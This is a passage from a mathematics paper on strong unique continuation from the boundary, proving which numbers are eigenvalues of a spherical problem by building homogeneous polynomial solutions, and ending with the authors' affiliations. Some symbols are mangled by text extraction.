+(148)
+�
+div(t1−2s∇U) = 0,
+in RN+1
++
+,
+limt→0+ t1−2s ∂U
+∂ν = 0,
+on RN.
+Hence, if µ is an eigenvalue of (19), there exists a solution U of (148) which is odd with respect
+to yN and positively homogeneous of degree γ. The regularity result in [22, Theorem 1.1] ensures
+that U ∈ C∞(B+
+1 ). Then there exists m ∈ N \ {0} such that γ = m and so µ = m2 + m(N − 2s)
+thanks to (147). We notice that the case m = 0 is excluded since in that case µ = 0 and 0 is not
+an eigenvalue. Indeed, if by contradiction 0 is an eigenvalue, letting Y be an eigenfunction of (19)
+with associated eigenvalue 0 and choosing in (21) Ψ = Y , we would have that Y is constant and
+Y ̸≡ 0, hence Y /∈ H1
+odd(S+, θ1−2s
+N+1 ) which is a contradiction (see (20)).
+Viceversa, in order to prove that the numbers given in (22) are eigenvalues of (19), we need
+to show that, for any fixed m ∈ N \ {0}, there actually exist an eigenfunction associated to
+m2 + m(N − 2s) if N > 1 and an eigenfunction associated to (2m − 1)2 + (2m − 1)(N − 2s) if
+N = 1. Equivalently, for any fixed m ∈ N \ {0} we have to find a non trivial solution to (148)
+which is odd with respect to yN and positively homogeneous with degree m if N > 1 and 2m − 1
+if N = 1. To this end, we observe that equation div(t1−2s∇U) = 0 can be rewritten as
+(149)
+∆U + 1 − 2s
+t
+Ut = 0.
+We first consider the case N = 1. If n = 2m − 1 with m ∈ N \ {0}, we consider the following
+homogeneous polynomial of degree 2m − 1, odd with respect to y1,
+(150)
+U1,m(y1, t) :=
+m−1
+�
+k=0
+aky2k+1
+1
+t2m−2k−2,
+with a0, . . . , am−1 ∈ R. A direct computation shows that U1,m is a solution of (148), and equiva-
+lently of (149), if and only if
+ak = −2[(m − k)2 − s(m − k)]
+k(2k + 1)
+ak−1
+for all k ∈ {1, . . . , m − 1}.
+Thus, for example choosing a0 := 1, we have constructed a non trivial solution to (148) which is
+odd with respect to y1 and positively homogeneous of degree 2m − 1.
+To complete the proof of (22) in the case N = 1, it remains to show that, if n = 2m with
+m ∈ N \ {0}, then n2 + n(N − 2s) is not an eigenvalue of (19).
+To this aim, we argue by
+contradiction and assume that (2m)2 + 2m(N − 2s) is an eigenvalue of (19) associated to an
+eigenfunction Ψ. Then the function defined as
+U(z) = |z|γΨ
+� z
+|z|
+�
+,
+z = (y1, t) ∈ R2
++,
+with
+γ = −N − 2s
+2
++
+��N − 2s
+2
+�2
++ (2m)2 + 2m(N − 2s) = 2m
+is a non trivial solution to (148), odd with respect to y1. Hence, if we consider the even reflection
+of U with respect to t, namely the function �U(y1, t) := U(y1, |t|), we have that �U is a solution of
+div(|t|1−2s∇�U) = 0 in R2. Then, by [22, Theorem 1.1] we deduce that �U ∈ C∞(R2). Moreover,
+�U is positively homogeneous of degree γ = 2m, therefore from Lemma A.1 it follows that �U is a
+homogeneous polynomial of degree 2m, namely
+�U(y1, t) =
+2m
+�
+k=0
+aky2m−k
+1
+tk
+where ak = 0 if k is odd since �U is even with respect to t. In this way ˜U turns out to be even also
+with respect to y1 and this contradicts the fact that U is non trivial and odd with respect to y1.
+
+STRONG UNIQUE CONTINUATION FROM THE BOUNDARY
+29
+If N = 2 and m ∈ N \ {0} is odd, then we consider U2(y1, y2, t) := U1,n(y2, t), where U1,n is
+defined in (150) and n ∈ N \ {0} is such that m = 2n − 1. Such U2 is a positively homogeneous
+solution of (148) of degree m, odd with respect to y2. If m ∈ N \ {0} is even, i.e. m = 2n with
+n ∈ N \ {0}, then we define
+U3(y1, y2, t) :=
+n−1
+�
+k=0
+aky2k+1
+1
+y2n−2k−1
+2
+,
+with a0, . . . , an−1 ∈ R. A direct computation shows that U3 is a solution of (148), and equivalently
+of (149), if and only if
+ak+1 = −[2(n − k)2 − 3n + 3k + 1]
+(2k2 + 5k + 3)
+ak
+for all k ∈ {0, . . . , n − 2}.
+Then, choosing for example again a0 = 1, we obtain that U3 is a solution of (148) which is
+positively homogeneous of degree m and odd with respect to y2, as desired.
+If N > 2, for any m ∈ N \ {0} there exists a harmonic homogeneous polynomial P ̸≡ 0 in
+the variables y1, . . . , yN−1, of degree m − 1. Then U4(y1, . . . , yN−1, yN, t) := P(y1, . . . , yN−1) yN
+is a non trivial solution to (148) which is odd with respect to yN and positively homogeneous of
+degree m.
+□
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+ALESSANDRA DE LUCA, VERONICA FELLI, AND GIOVANNI SICLARI
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+Alessandra De Luca
+Dipartimento di Scienze Molecolari e Nanosistemi, Universit`a Ca’ Foscari Venezia,
+Via Torino 155, 30172 Venezia Mestre, Italy.
+Email address: alessandra.deluca@unive.it
+Veronica Felli and Giovanni Siclari
+Dipartimento di Matematica e Applicazioni, Universit`a degli Studi di Milano-Bicocca,
+Via Cozzi 55, 20125 Milano, Italy.
+Email address: veronica.felli@unimib.it, g.siclari2@campus.unimib.it
+